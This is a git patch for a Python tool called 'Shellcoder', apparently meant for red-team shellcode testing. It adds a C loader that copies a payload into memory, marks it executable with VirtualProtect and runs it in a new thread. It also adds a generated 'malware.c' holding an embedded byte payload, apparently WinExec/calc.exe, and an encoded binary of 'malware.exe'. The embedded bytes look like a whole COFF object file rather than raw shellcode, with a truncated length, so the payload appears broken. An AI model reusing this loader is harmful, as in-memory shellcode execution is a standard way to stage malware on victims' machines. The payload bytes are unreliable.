From fb20ede097882b4e10c7112c583346ff7cedac94 Mon Sep 17 00:00:00 2001 From: Print3M <92022497+Print3M@users.noreply.github.com> Date: Fri, 19 Jul 2024 17:55:57 +0200 Subject: [PATCH] init --- .gitignore | 2 + README.md | 20 +++++++++ loader.c | 18 ++++++++ out/malware.c | 18 ++++++++ out/malware.exe | Bin 0 -> 110592 bytes out/malware.obj | Bin 0 -> 2255 bytes out/shellcode.bin | Bin 0 -> 472 bytes shellcode.asm | 96 +++++++++++++++++++++++++++++++++++++++++++ shellcoder.py | 102 ++++++++++++++++++++++++++++++++++++++++++++++ 9 files changed, 256 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100644 loader.c create mode 100644 out/malware.c create mode 100644 out/malware.exe create mode 100644 out/malware.obj create mode 100644 out/shellcode.bin create mode 100644 shellcode.asm create mode 100644 shellcoder.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..127e6b2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +out/ +out diff --git a/README.md b/README.md new file mode 100644 index 0000000..06b90f7 --- /dev/null +++ b/README.md @@ -0,0 +1,20 @@ +# Shellcoder.py + +Write your shellcode in Assembly and execute it with one command! + +This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command! + +## Usage + +Shellcoder most probably should be used on Windows because of the MSVC requirement. + +```powershell +# Run script +python shellcoder.py +``` + +## External dependencies + +- Python 3 +- NASM (Netwide Assembler) +- Visual Studio 2022 diff --git a/loader.c b/loader.c new file mode 100644 index 0000000..0ed226d --- /dev/null +++ b/loader.c @@ -0,0 +1,18 @@ +#include + +void main() { + void* exec; + BOOL rv; + HANDLE th; + DWORD oldprotect = 0; + + // Shellcode + unsigned char payload[] = ":PAYLOAD:"; + unsigned int payload_len = 205; + exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + RtlMoveMemory(exec, payload, payload_len); + rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); + th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); + WaitForSingleObject(th, -1); + +} \ No newline at end of file diff --git a/out/malware.c b/out/malware.c new file mode 100644 index 0000000..0300c97 --- /dev/null +++ b/out/malware.c @@ -0,0 +1,18 @@ +#include + +void main() { + void* exec; + BOOL rv; + HANDLE th; + DWORD oldprotect = 0; + + // Shellcode + unsigned char payload[] = "\x64\x86\x1\x0\xce\x8b\x9a\x66\x9\x1\x0\x0\xa\x0\x0\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\xcd\x0\x0\x0\x3c\x0\x0\x0\x9\x1\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x20\x0\x50\x60\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x1\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x8\x8b\x14\xb\x4c\x1\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x1\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x1\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x1\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\xc\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x1\xc7\x48\x89\xd6\xf3\xa6\x74\x5\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x4\x44\x41\x8b\x4\x82\x4c\x1\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x7\x48\xb8\xf\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x8\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6\x2e\x66\x69\x6c\x65\x0\x0\x0\x0\x0\x0\x0\xfe\xff\x0\x0\x67\x1\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x2e\x61\x73\x6d\x0\x0\x0\x0\x0\x2e\x74\x65\x78\x74\x0\x0\x0\x0\x0\x0\x0\x1\x0\x0\x0\x3\x1\xcd\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2e\x61\x62\x73\x6f\x6c\x75\x74\x0\x0\x0\x0\xff\xff\x0\x0\x3\x0\x0\x0\x0\x0\x4\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x69\x6e\x63\x6c\x6f\x6f\x70\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x0\x0\x0\x0\xf\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x61\x70\x69\x73\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x2\x0\x1b\x0\x0\x0\x67\x65\x74\x61\x70\x69\x61\x64\x64\x72\x0\x72\x65\x73\x6f\x6c\x76\x65\x61\x64\x64\x72\x0"; + unsigned int payload_len = 205; + exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + RtlMoveMemory(exec, payload, payload_len); + rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect); + th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); + WaitForSingleObject(th, -1); + +} \ No newline at end of file diff --git a/out/malware.exe b/out/malware.exe new file mode 100644 index 0000000000000000000000000000000000000000..e27ef37c64d3de4b92ddd90122ca1ce3ca75f9a4 GIT binary patch literal 110592 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 